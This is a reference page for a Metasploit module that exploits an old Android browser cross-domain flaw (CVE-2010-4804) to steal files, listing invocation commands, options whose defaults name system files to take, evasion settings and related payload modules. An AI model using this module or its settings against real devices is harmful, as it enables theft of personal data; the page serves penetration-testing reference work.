Android Content Provider File Disclosure - Metasploit
This page contains detailed information about how to use the auxiliary/gather/android_htmlfileprovider metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Android Content Provider File Disclosure
Module: auxiliary/gather/android_htmlfileprovider
Source code: modules/auxiliary/gather/android_htmlfileprovider.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2010-4804
This module exploits a cross-domain issue within the Android web browser to exfiltrate files from a vulnerable device.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/gather/android_htmlfileprovider
msf auxiliary(android_htmlfileprovider) > exploit
Go back to menu.
Msfconsole Usage
Here is how the gather/android_htmlfileprovider auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/android_htmlfileprovider
msf6 auxiliary(gather/android_htmlfileprovider) > show info
Name: Android Content Provider File Disclosure
Module: auxiliary/gather/android_htmlfileprovider
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Thomas Cannon
jduck <[email protected]>
Available actions:
Name Description
---- -----------
WebServer
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILES /proc/version,/proc/self/status,/data/system/packages.list no The remote file(s) to steal
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Description:
This module exploits a cross-domain issue within the Android web
browser to exfiltrate files from a vulnerable device.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-4804
http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
Module Options
This is a complete list of options available in the gather/android_htmlfileprovider auxiliary module:
msf6 auxiliary(gather/android_htmlfileprovider) > show options
Module options (auxiliary/gather/android_htmlfileprovider):
Name Current Setting Required Description
---- --------------- -------- -----------
FILES /proc/version,/proc/self/status,/data/system/packages.list no The remote file(s) to steal
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer
Advanced Options
Here is a complete list of advanced options supported by the gather/android_htmlfileprovider auxiliary module:
msf6 auxiliary(gather/android_htmlfileprovider) > show advanced
Module advanced options (auxiliary/gather/android_htmlfileprovider):
Name Current Setting Required Description
---- --------------- -------- -----------
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/android_htmlfileprovider module can do:
msf6 auxiliary(gather/android_htmlfileprovider) > show actions
Auxiliary actions:
Name Description
---- -----------
WebServer
Evasion Options
Here is the full list of possible evasion options supported by the gather/android_htmlfileprovider auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/android_htmlfileprovider) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Weird, we got a var that doesn't contain an equals: <PARTS.INSPECT>
Here is a relevant code snippet related to the "Weird, we got a var that doesn't contain an equals: <PARTS.INSPECT>" error message:
139:
140: if request and request.body
141: request.body.split('&').each { |var|
142: parts = var.split('=', 2)
143: if parts.length != 2
144: print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
145: else
146: fln,fld = parts
147: fld = Rex::Text.uri_decode(fld).unpack('m').first
148: start = fln.slice!(0,1)
149: if start == "f"
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2638 Merged Pull Request: Add refs to android file stealer
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
References
See Also
Check also the following modules related to this module:
- auxiliary/gather/android_browser_file_theft
- auxiliary/gather/android_browser_new_tab_cookie_theft
- auxiliary/gather/android_object_tag_webview_uxss
- auxiliary/gather/android_stock_browser_uxss
- auxiliary/dos/android/android_stock_browser_iframe
- auxiliary/server/android_browsable_msf_launch
- auxiliary/server/android_mercury_parseuri
- auxiliary/admin/android/google_play_store_uxss_xframe_rce
- exploit/android/adb/adb_server_exec
- exploit/android/browser/samsung_knox_smdm_url
- exploit/android/browser/stagefright_mp4_tx3g_64bit
- exploit/android/browser/webview_addjavascriptinterface
- exploit/android/fileformat/adobe_reader_pdf_js_interface
- exploit/android/local/binder_uaf
- exploit/android/local/futex_requeue
- exploit/android/local/janus
- exploit/android/local/put_user_vroot
- exploit/android/local/su_exec
- payload/android/meterpreter/reverse_http
- payload/android/meterpreter_reverse_http
- payload/android/meterpreter/reverse_https
- payload/android/meterpreter_reverse_https
- payload/android/meterpreter/reverse_tcp
- payload/android/meterpreter_reverse_tcp
- payload/android/shell/reverse_http
- payload/android/shell/reverse_https
- payload/android/shell/reverse_tcp
- post/android/capture/screen
- post/android/gather/hashdump
- post/android/gather/sub_info
- post/android/gather/wireless_ap
- post/android/local/koffee
- post/android/manage/remove_lock
- post/android/manage/remove_lock_root
Authors
- Thomas Cannon
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.